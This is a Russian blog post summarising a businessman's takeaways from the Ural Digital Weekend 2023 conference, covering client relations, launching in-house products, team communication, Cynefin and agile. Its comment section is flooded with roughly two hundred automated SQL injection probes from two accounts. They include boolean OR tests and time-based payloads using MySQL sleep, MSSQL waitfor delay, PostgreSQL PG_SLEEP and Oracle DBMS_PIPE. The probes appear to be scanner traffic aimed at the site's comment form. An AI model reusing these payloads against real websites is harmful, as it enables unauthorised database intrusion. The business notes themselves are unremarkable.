Симулякр итогов с Ural Digital Weekend 2023

С 3 по 5 августа провел с коллегами в Перми на Ural Digital Weekend 2023. Ничего не ждал и был удивлен уровнем организации, фестивальной атмосферой и кучей топов из заказной разработки.

Чтобы не пропало, делюсь заметками с поездки:

Общее

Важность препати на профильных конференциях была мною сильно недооценена
Критически важно выходить с уровня бизнес-заказчика на уровень топ-менеджеров и владельцев, чтобы не терять контакт с клиентом из-за смены менеджмента. И в дополнение — регулярно собирать обратную связь от топ-менеджеров и владельцев, чтобы реально оценивать ценность которую вы доносите до бизнеса клиента
Отчеты для T&M-контрактов можно делать на BI — реалтайм-обновление и полная прозрачность
Первый месяц можно продавать по постоплате, чтобы снизить риски клиента (интересная мысль, но не сталкивался с таким возражением на пресейле)
Мало экспертизы на этапе продажи не бывает

Разработка своих продуктов

Значимые тренды рынка энтерпрайз-систем
- Освободилась существенная доля рынка из-за ухода зарубежных продуктов (нужны замены ушедших систем)
- Технические тренды: микросервисы, lowcode/nocode стек, RPA
- Господдержка импортозамещения
- Самописные внутренние разработки крупных игроков
- Риски потери кадров (релокация, конкуренция за ИТ-кадры)
- Новые продукты крупных российских интеграторов
- Монетизация собственных решений
Не получится сделать продукт из готового решения, которое разрабатывалось под конкретного заказчика. Но для поиска «болей» рынка и формирования плана по развитию такого продукта можно использовать привычный Jobs To Be Done и мало известный Pain Chain
Почему здорово делать продукт с клиентом:
- Глубочаяшая отраслевая экспертиза
- Выходы на всех ЛПР в отрасли
Почему клиенту здорово делать продукт с агентством:
- Экспертиза в разработке
- Умение продавать ИТ-решения
- Понимание того что такое клиентский сервис в ИТ (продукт может требовать внедрения)
- Гибкость (агентство всегда меньше и быстрее)
Обратная сторона продуктовой разработки
- Очень сложно найти первых клиентов, свою кор-аудиторию
- Высасывает ресурсы (деньги и людей)
- Размывается фокус внимания
- Расходы сложнее планировать
- Расхолаживает команду, после клиентских проектов
- Сложно контролировать команду, если делаешь продукт бенчем (так не надо делать)
Рекомендации по организации запуска продукта
- Жестко фиксировать этапы и бюджеты на свои продукты. Будьте готовы потерять эти деньги
- Учитывайте все затраты на разработку, в том числе косвенные затраты и упущенную прбыль
- Подумайте как будете использовать продукт, если он не взлетит
- Выделенная команда и четкие роли в ней
- Выделен ответственный за продукт (визионер) с четкими, прописанными KPI. Найдите человека, который будет думать о продукте всё время (не пол дня).
- Ответственный за продукт — не просто продакт, это драйвер процесса. Зачастую это должен быть СЕО\СОО\партнер — очень замотивированный предстаитель отдельного бизнес-юнита. Поэтому начать стоит с драйвера, тогда будет все чуть проще.
- Относитетсь к продукту как к заказчику своего агентства.
- Четко поставлены цели: smart, harvest, mece
- Продукт и основной бизнес не соперничают друг с другом
- 10 раз убедиться что за продуктом стоит реальная боль, а не фантазии (даже если это фантазии самых главных людей в компании). Убедитесь, что сфера продукта близка вашему агентству
- Проработайте бизнес-модель, не смешивайте ее с агентской моделю
- Рассказывайте о продукте и том, как его делаете
С какими клиентами будет сложно прийти к продуктовой разработке:
- Если нет процессов продуктовой разработки или текущее понимание больше на стороне заказчика
- Работаем по спринтам, но не видим смысла в бизнес-аналитике или системном аналитике. Заказчик не подпускает подрядчика к внутренней кухне, работаем в режиме черного ящика (ВА, привет)
- Продукт не совсем продукт, не приносит ценности бизнесу, обречен на правал
С какими клиентами возможно прийти к модели продуктовой разработки:
- Если у заказчика есть фреймворк продуктовой разработки и он внедрен хотя бы частично
- Заказчик понимает ценность продукта и имеет план развития
- Заказчик умеет пользоваться всеми инструментами аутсорса
Если продукт не развивается — не увеличивается бюджет на его развитие.
Как устранить раскол между ИТ и бизнесом — путь к успеху агентства:
- Не пытаться занимать только одну из сторон (важно всё и сразу: делать важные для продукта задачи, по правильному процессу и быстро, чтобы бизнес возвращать инвестиции)
- Объяснять бизнесу почему в долгосрочной перспективе нужно учиться слыть ИТ: архитекторов, лидов и СТО
- Снабдить ИТ бизнесовой фактурой для продажи своих позиций, сделать ИТ-метрики управляемыми
- Помочь ИТ лучше отвечать требованиям бизнеса, а бизнесу предоставить для ИТ требования в понятном виде
Фреймворк продуктовой разработки, который должен настраиваться и постоянно адаптироваться, чтобы минимизировать ТТМ:

Этап	Бизнес-инициатива или гипотеза	Оценка и приоритизация	Бизнес-анализ	Системный анализ	Разработка
Кто	Кто угодно: стейкхолдеры, СЕО, владелец продукта	Лид разработки, БА, Владелец продукта	БА, Владелец продукта, РП, ITBP, стейкхолдеры	Лид разработки, Владелец продукта, РП	Лид разработки, РП
С каким результатом	Сделаем что-то что сделает продукт более ценным для потребителей с целью увеличения бизнеса	Понимаем сложность и сроки в попугаях, понимаем профит, приоритизируем	Декомпозированные бизнес-требования, CJM, EJM, описанный бизнес-процесс. Дизайн, UX, ограничения	Техническое решение, декомпозиция задач, в том числе по системам, беклог готовых, оцененных и готовых к разработке задач	Задачи в рамках изначальных БТ, готовые к релизам (или UAT\AB\E2E) во всех системах
Пример	Если мы автоматизируем процесс оформления заказа — улучшим SLA дял клиентов, сэкономим Х рублей на операционных затратах	Клиенты смогут оформить заказ в любое время суток, бизнес сэкономит и высвободит операционного ресурса на 20 млн в год	Осознание, что требуется доработка в 5 бэкенд-системах, юридические и финансовые аспекты улажены, готов дизайн, описан процесс, посчитан P&L	Эпик или сторя, в который собраны все задачи с оценками. Осталось только положить в спринты по системам согласно приоритетам	Команда разработки готова провести демо нового функционала бизнесу и готова к отгрузке на бой

Команда

Для создания эффективной команды нужны единая цель, где каждый преследует цель компании и взаимодействует друг с другом
Почему командная работа решает на уровне задач Complex (об этом чуть ниже):
- Делает возможным решение задач, что не под силу одному человеку
- Является гарантией, что будут учитываться интересы всех сторон
- Понижается риск принятия ошибочных решений
- Помогает бороться с производственной слепотой
Чтобы у команды появилась сопричастность к происходящему, сопереживание проблемам, поддержка и продвижение изменений, повышения доверия и генерация идей — она должна быть плотно интегрирована в то, что у компании происходит и наоборот. Для этого существует точки для сбора и передачи информации, дальше об этом
Какие могут быть точки для сбора информации:
- 1-2-1 RM
- 1-2-1 HR
- 360
- Командные встречи
- Чаты
- Эскалации
- Perfomance review
- Проектные ретро
- Неофициальные встречи
А какие системы передачи информации:
- Планерки топов (еженедельно)
- Планерки менеджмента (каждые 2 недели)
- Планерки отделов (каждые 2 недели)
- Общая встреча компании (квартальные, годовая)
- Мероприятия по изменениям
- Личные встречи
- Дополнительные: почтовые рассылки (nda\not nda), телеграмм-канал, общий чат в телеге, сессии Q&A.
О чем компания может делиться с менеджментом:
- Всё и максимально открыто
- Продавать прототипы изменений и собирать обратную связь
- Просить задавать неудобные вопросы
- Рассказывать о возможностях и искать лидеров
- Показывать проблемы и искать совместные решения
О чем компании стоит делиться со всеми:
- Об изменениях (которые уже поддерживает менеджмент)
- Проблемы — с решениями от менеджмента
- Возможности — с запросом на участие
- Выручку, прибыль — в процентах

Проекты

Каскадная модель производства драматически снижает вероятность успеха проекта
Cynefin framework https://ru.wikipedia.org/wiki/Cynefin_framework — как концептуальная основа для принятия решений:
- Obvious. Применяйте «Best Practice». Задачи ясны, решения очевидны, следуйте установленным процедурам.
- Complicated. Применяйте «Good Practice» или экспертные мнения. Возможно несколько правильных решений
- Complex. Проведите эксперименты и используйте «Emergent Practice». Тут нет очевидных решений, выясните правильный подход через пробу и ошибку.
- Chaotic. Действуйте сразу для стабилизации ситуации, затем изучайте и отвечайте на изменения. Нужно немедленно действовать.
В разработке нетиповых решений часто приходится решать задачи уровня Complicated и Complex, поэтому взвешивайте решения. Complicated — это граница проектной деятельности, начиная с Complex — это задачи в зоне эмпирической деятельности, а значит мы не можем говорить о каскадной модели и вотерфоле для таких решений. Это всё Симулякр плана, как выразился Глеб Михеев :-)
Иногда стоит принять, что ты не можешь определить точные требования и вместо требований определить цель и ключевые результаты (это, кстати, пересекается с тем что говорят ребята из Бюро про ФФФ). Это зона неопределенности, её невозможно спланировать. Это зона командной работы.
Что пропагандирует аджайл:
- Люди и взаимодействие важнее процессов и инструментов
- Работающий продукт важнее исчерпывающей документации
- Сотрудничество с заказчиком важнее согласования условий контракта
- Готовность к изменениям важнее следования первоначальному плану
В аджайле развитие. Аджайт создает продукт, ватерфолл его воспроизводит
Немного о концепции Run-Change-Disrupt

На кого подписался после конфы

https://t.me/panfilovonline Пишет про запуск digital-проектов и IT-инструменты для бизнеса
https://t.me/rukovozhu Виктор Рындин: CEO @Wemakefab & @Dprofileru
https://t.me/tired_glebmikheev Глеб Михеев, просто поток сознания на стыке менеджмента и ИТ, я влюбился
@dpletnev. Дима Плетнев. Но он ничего в паблик почему-то не пишет, приходится писать в личку
https://t.me/successfulproduct Сергей Пращенко, про продакт дискавери вообще и в энтерпрайзе в частности (самый недооцененный доклад, потому что было жутко интересно, но все выдохлись)

Ну и посмотрите запись трансляции, очень много достойных лекций:

Подписаться на блог

Отправить

Твитнуть

Запинить

1086 2023 Запуск продукта советы управление

Дальше

Перестаньте делать привычным образом

Как не стать рафинированным

418 2023

Как игра в «глухие телефоны» чуть не стоила нам крупного клиента

593 2022

MVP как стратегия

1347 2023

Ctrl ←Нетворкинг на GASTREET 2023

Ctrl →Как организовать родительский комитет и не умереть

206 комментариев

GQDWBdMu 4 мес

-1’ OR 3+491-491-1=0+0+0+1 or ’cFN4wIHD’=’

GQDWBdMu 4 мес

-1» OR 2+951-951-1=0+0+0+1 —

GQDWBdMu 4 мес

-1» OR 3+951-951-1=0+0+0+1 —

GQDWBdMu 4 мес

1*if(now()=sysdate(),sleep(15),0)

GQDWBdMu 4 мес

10’XOR(1*if(now()=sysdate(),sleep(15),0))XOR’Z

GQDWBdMu 4 мес

10«XOR(1*if(now()=sysdate(),sleep(15),0))XOR»Z

GQDWBdMu 4 мес

(select(0)from(select(sleep(15)))v)/*’+(select(0)from(select(sleep(15)))v)+’«+(select(0)from(select(sleep(15)))v)+»*/

GQDWBdMu 4 мес

1-1; waitfor delay ’0:0:15’ —

GQDWBdMu 4 мес

1-1); waitfor delay ’0:0:15’ —

GQDWBdMu 4 мес

1-1 waitfor delay ’0:0:15’ —

GQDWBdMu 4 мес

1Y4E55Ipb’; waitfor delay ’0:0:15’ —

GQDWBdMu 4 мес

1-1 OR 758=(SELECT 758 FROM PG_SLEEP(15))—

GQDWBdMu 4 мес

1-1) OR 892=(SELECT 892 FROM PG_SLEEP(15))—

GQDWBdMu 4 мес

1-1)) OR 249=(SELECT 249 FROM PG_SLEEP(15))—

GQDWBdMu 4 мес

1u620qVpU’ OR 719=(SELECT 719 FROM PG_SLEEP(15))—

GQDWBdMu 4 мес

1jyin3dEF’) OR 475=(SELECT 475 FROM PG_SLEEP(15))—

GQDWBdMu 4 мес

1HWMsKXQ0’)) OR 797=(SELECT 797 FROM PG_SLEEP(15))—

GQDWBdMu 4 мес

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

GQDWBdMu 4 мес

1’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||’

GQDWBdMu 4 мес

’»

DahJTkfw 4 мес

1DiTUCDp7

DahJTkfw 4 мес

-1 OR 2+703-703-1=0+0+0+1 —

DahJTkfw 4 мес

-1 OR 3+703-703-1=0+0+0+1 —

DahJTkfw 4 мес

-1 OR 2+388-388-1=0+0+0+1

DahJTkfw 4 мес

-1 OR 3+388-388-1=0+0+0+1

DahJTkfw 4 мес

-1’ OR 2+514-514-1=0+0+0+1 —

DahJTkfw 4 мес

-1’ OR 3+514-514-1=0+0+0+1 —

DahJTkfw 4 мес

-1’ OR 2+662-662-1=0+0+0+1 or ’FI0M4r0x’=’

DahJTkfw 4 мес

-1’ OR 3+662-662-1=0+0+0+1 or ’FI0M4r0x’=’

DahJTkfw 4 мес

-1» OR 2+610-610-1=0+0+0+1 —

DahJTkfw 4 мес

-1» OR 3+610-610-1=0+0+0+1 —

DahJTkfw 4 мес

’»

DahJTkfw 4 мес

@@IrWRu

DahJTkfw 4 мес

1jmzXLivx

DahJTkfw 4 мес

-1 OR 2+144-144-1=0+0+0+1 —

DahJTkfw 4 мес

-1 OR 3+144-144-1=0+0+0+1 —

DahJTkfw 4 мес

-1 OR 2+803-803-1=0+0+0+1

DahJTkfw 4 мес

-1 OR 3+803-803-1=0+0+0+1

DahJTkfw 4 мес

-1’ OR 2+192-192-1=0+0+0+1 —

DahJTkfw 4 мес

-1’ OR 3+192-192-1=0+0+0+1 —

DahJTkfw 4 мес

-1’ OR 2+555-555-1=0+0+0+1 or ’EjGEGeia’=’

DahJTkfw 4 мес

-1’ OR 3+555-555-1=0+0+0+1 or ’EjGEGeia’=’

DahJTkfw 4 мес

-1» OR 2+891-891-1=0+0+0+1 —

DahJTkfw 4 мес

-1» OR 3+891-891-1=0+0+0+1 —

DahJTkfw 4 мес

1*if(now()=sysdate(),sleep(15),0)

DahJTkfw 4 мес

1*if(now()=sysdate(),sleep(3),0)

DahJTkfw 4 мес

1*if(now()=sysdate(),sleep(0),0)

DahJTkfw 4 мес

10’XOR(1*if(now()=sysdate(),sleep(15),0))XOR’Z

DahJTkfw 4 мес

10«XOR(1*if(now()=sysdate(),sleep(15),0))XOR»Z

DahJTkfw 4 мес

(select(0)from(select(sleep(15)))v)/*’+(select(0)from(select(sleep(15)))v)+’«+(select(0)from(select(sleep(15)))v)+»*/

DahJTkfw 4 мес

1-1; waitfor delay ’0:0:15’ —

DahJTkfw 4 мес

1-1); waitfor delay ’0:0:15’ —

DahJTkfw 4 мес

1-1 waitfor delay ’0:0:15’ —

DahJTkfw 4 мес

1HxeJDCTC’; waitfor delay ’0:0:15’ —

DahJTkfw 4 мес

1-1 OR 72=(SELECT 72 FROM PG_SLEEP(15))—

DahJTkfw 4 мес

1-1) OR 97=(SELECT 97 FROM PG_SLEEP(15))—

DahJTkfw 4 мес

1-1)) OR 486=(SELECT 486 FROM PG_SLEEP(15))—

DahJTkfw 4 мес

1NpXaO0K4’ OR 916=(SELECT 916 FROM PG_SLEEP(15))—

DahJTkfw 4 мес

1vsl8aW3T’) OR 24=(SELECT 24 FROM PG_SLEEP(15))—

DahJTkfw 4 мес

10aI6Le21’)) OR 321=(SELECT 321 FROM PG_SLEEP(15))—

DahJTkfw 4 мес

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

DahJTkfw 4 мес

1’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||’

DahJTkfw 4 мес

’»

DahJTkfw 4 мес

@@aIAGL

DahJTkfw 4 мес

-1 OR 2+318-318-1=0+0+0+1 —

DahJTkfw 4 мес

-1 OR 3+318-318-1=0+0+0+1 —

DahJTkfw 4 мес

-1 OR 2+894-894-1=0+0+0+1

DahJTkfw 4 мес

-1 OR 3+894-894-1=0+0+0+1

DahJTkfw 4 мес

-1’ OR 2+864-864-1=0+0+0+1 —

DahJTkfw 4 мес

-1’ OR 3+864-864-1=0+0+0+1 —

DahJTkfw 4 мес

-1’ OR 2+652-652-1=0+0+0+1 or ’gRrxV9XN’=’

DahJTkfw 4 мес

-1 OR 2+800-800-1=0+0+0+1 —

DahJTkfw 4 мес

-1’ OR 3+652-652-1=0+0+0+1 or ’gRrxV9XN’=’

DahJTkfw 4 мес

-1 OR 2+471-471-1=0+0+0+1

DahJTkfw 4 мес

-1’ OR 2+183-183-1=0+0+0+1 —

DahJTkfw 4 мес

-1» OR 2+255-255-1=0+0+0+1 —

DahJTkfw 4 мес

-1’ OR 2+665-665-1=0+0+0+1 or ’OXxq6Zkw’=’

DahJTkfw 4 мес

-1» OR 3+255-255-1=0+0+0+1 —

DahJTkfw 4 мес

-1» OR 2+281-281-1=0+0+0+1 —

DahJTkfw 4 мес

1*if(now()=sysdate(),sleep(15),0)

DahJTkfw 4 мес

10’XOR(1*if(now()=sysdate(),sleep(15),0))XOR’Z

DahJTkfw 4 мес

1*if(now()=sysdate(),sleep(15),0)

DahJTkfw 4 мес

10«XOR(1*if(now()=sysdate(),sleep(15),0))XOR»Z

DahJTkfw 4 мес

1*if(now()=sysdate(),sleep(6),0)

DahJTkfw 4 мес

10«XOR(1*if(now()=sysdate(),sleep(20.432),0))XOR»Z

DahJTkfw 4 мес

1*if(now()=sysdate(),sleep(3),0)

DahJTkfw 4 мес

(select(0)from(select(sleep(15)))v)/*’+(select(0)from(select(sleep(15)))v)+’«+(select(0)from(select(sleep(15)))v)+»*/

DahJTkfw 4 мес

1*if(now()=sysdate(),sleep(0),0)

DahJTkfw 4 мес

1-1; waitfor delay ’0:0:15’ —

DahJTkfw 4 мес

10’XOR(1*if(now()=sysdate(),sleep(15),0))XOR’Z

DahJTkfw 4 мес

1-1); waitfor delay ’0:0:15’ —

DahJTkfw 4 мес

10«XOR(1*if(now()=sysdate(),sleep(15),0))XOR»Z

DahJTkfw 4 мес

1-1 waitfor delay ’0:0:15’ —

DahJTkfw 4 мес

19gaJ7r1h’; waitfor delay ’0:0:15’ —

DahJTkfw 4 мес

(select(0)from(select(sleep(15)))v)/*’+(select(0)from(select(sleep(15)))v)+’«+(select(0)from(select(sleep(15)))v)+»*/

DahJTkfw 4 мес

1-1 OR 338=(SELECT 338 FROM PG_SLEEP(15))—

DahJTkfw 4 мес

1-1; waitfor delay ’0:0:15’ —

DahJTkfw 4 мес

1-1) OR 619=(SELECT 619 FROM PG_SLEEP(15))—

DahJTkfw 4 мес

1-1); waitfor delay ’0:0:15’ —

DahJTkfw 4 мес

1-1)) OR 124=(SELECT 124 FROM PG_SLEEP(15))—

DahJTkfw 4 мес

1-1 waitfor delay ’0:0:15’ —

DahJTkfw 4 мес

1-1)) OR 126=(SELECT 126 FROM PG_SLEEP(15))—

DahJTkfw 4 мес

1u8REujpO’; waitfor delay ’0:0:15’ —

DahJTkfw 4 мес

1eOO4VZtb’ OR 27=(SELECT 27 FROM PG_SLEEP(15))—

DahJTkfw 4 мес

1-1 OR 129=(SELECT 129 FROM PG_SLEEP(15))—

DahJTkfw 4 мес

1tPVJV0Uf’) OR 652=(SELECT 652 FROM PG_SLEEP(15))—

DahJTkfw 4 мес

1-1) OR 975=(SELECT 975 FROM PG_SLEEP(15))—

DahJTkfw 4 мес

11dXKYeAl’)) OR 922=(SELECT 922 FROM PG_SLEEP(15))—

DahJTkfw 4 мес

1-1)) OR 456=(SELECT 456 FROM PG_SLEEP(15))—

DahJTkfw 4 мес

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

DahJTkfw 4 мес

1Hoq1xuPp’ OR 881=(SELECT 881 FROM PG_SLEEP(15))—

DahJTkfw 4 мес

1’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||’

DahJTkfw 4 мес

1Cqg2WzSE’) OR 216=(SELECT 216 FROM PG_SLEEP(15))—

DahJTkfw 4 мес

’»

DahJTkfw 4 мес

@@FLs15

DahJTkfw 4 мес

1eIUH3e3v’)) OR 243=(SELECT 243 FROM PG_SLEEP(15))—

DahJTkfw 4 мес

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

DahJTkfw 4 мес

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),3)

DahJTkfw 4 мес

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),6)

DahJTkfw 4 мес

1’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||’

DahJTkfw 4 мес

’»

DahJTkfw 4 мес

@@kWzoI

DahJTkfw 4 мес

1ZuHM8SPK

DahJTkfw 4 мес

-1 OR 2+162-162-1=0+0+0+1 —

DahJTkfw 4 мес

-1 OR 3+162-162-1=0+0+0+1 —

DahJTkfw 4 мес

-1 OR 2+541-541-1=0+0+0+1

DahJTkfw 4 мес

-1 OR 3+541-541-1=0+0+0+1

DahJTkfw 4 мес

-1’ OR 2+53-53-1=0+0+0+1 —

DahJTkfw 4 мес

-1’ OR 3+53-53-1=0+0+0+1 —

DahJTkfw 4 мес

-1’ OR 2+529-529-1=0+0+0+1 or ’s6lUEQt4’=’

DahJTkfw 4 мес

-1’ OR 3+529-529-1=0+0+0+1 or ’s6lUEQt4’=’

DahJTkfw 4 мес

-1» OR 2+422-422-1=0+0+0+1 —

DahJTkfw 4 мес

-1» OR 3+422-422-1=0+0+0+1 —

DahJTkfw 4 мес

1*if(now()=sysdate(),sleep(15),0)

DahJTkfw 4 мес

10’XOR(1*if(now()=sysdate(),sleep(15),0))XOR’Z

DahJTkfw 4 мес

10«XOR(1*if(now()=sysdate(),sleep(15),0))XOR»Z

DahJTkfw 4 мес

(select(0)from(select(sleep(15)))v)/*’+(select(0)from(select(sleep(15)))v)+’«+(select(0)from(select(sleep(15)))v)+»*/

DahJTkfw 4 мес

1-1; waitfor delay ’0:0:15’ —

DahJTkfw 4 мес

1-1); waitfor delay ’0:0:15’ —

DahJTkfw 4 мес

1-1 waitfor delay ’0:0:15’ —

DahJTkfw 4 мес

1BfaTmwrN’; waitfor delay ’0:0:15’ —

DahJTkfw 4 мес

1-1 OR 613=(SELECT 613 FROM PG_SLEEP(15))—

DahJTkfw 4 мес

1-1) OR 728=(SELECT 728 FROM PG_SLEEP(15))—

DahJTkfw 4 мес

1-1)) OR 29=(SELECT 29 FROM PG_SLEEP(15))—

DahJTkfw 4 мес

1HbykHA5O’ OR 731=(SELECT 731 FROM PG_SLEEP(15))—

DahJTkfw 4 мес

1NCD9OkaB’) OR 702=(SELECT 702 FROM PG_SLEEP(15))—

DahJTkfw 4 мес

1b3HWu6Zw’)) OR 167=(SELECT 167 FROM PG_SLEEP(15))—

DahJTkfw 4 мес

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

DahJTkfw 4 мес

1’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||’

DahJTkfw 4 мес

1’»

DahJTkfw 4 мес

@@bYDDL

DahJTkfw 4 мес

-1 OR 2+234-234-1=0+0+0+1 -- 4 мес

-1 OR 2+619-619-1=0+0+0+1 4 мес

-1' OR 2+971-971-1=0+0+0+1 -- 4 мес

-1' OR 2+226-226-1=0+0+0+1 or 'fUiBJW7o'=' 4 мес

-1" OR 2+461-461-1=0+0+0+1 -- 4 мес

if(now()=sysdate(),sleep(15),0) 4 мес

DahJTkfw0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z 4 мес

DahJTkfw0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z 4 мес

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ 4 мес

DahJTkfw-1 waitfor delay '0:0:15' -- 4 мес

DahJTkfwBFEssHL5'; waitfor delay '0:0:15' -- 4 мес

DahJTkfwMKWGynlF' OR 621=(SELECT 621 FROM PG_SLEEP(15))-- 4 мес

DahJTkfwTRmaOxlx') OR 998=(SELECT 998 FROM PG_SLEEP(15))-- 4 мес

DahJTkfwmycwmum1')) OR 355=(SELECT 355 FROM PG_SLEEP(15))-- 4 мес

DahJTkfw'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' 4 мес

DahJTkfw'" 4 мес

@@PCax2 4 мес

DahJTkfw 4 мес

Ваш пароль

Иван Лощёнов

Симулякр итогов с Ural Digital Weekend 2023

Общее

Разработка своих продуктов

Команда

Проекты

На кого подписался после конфы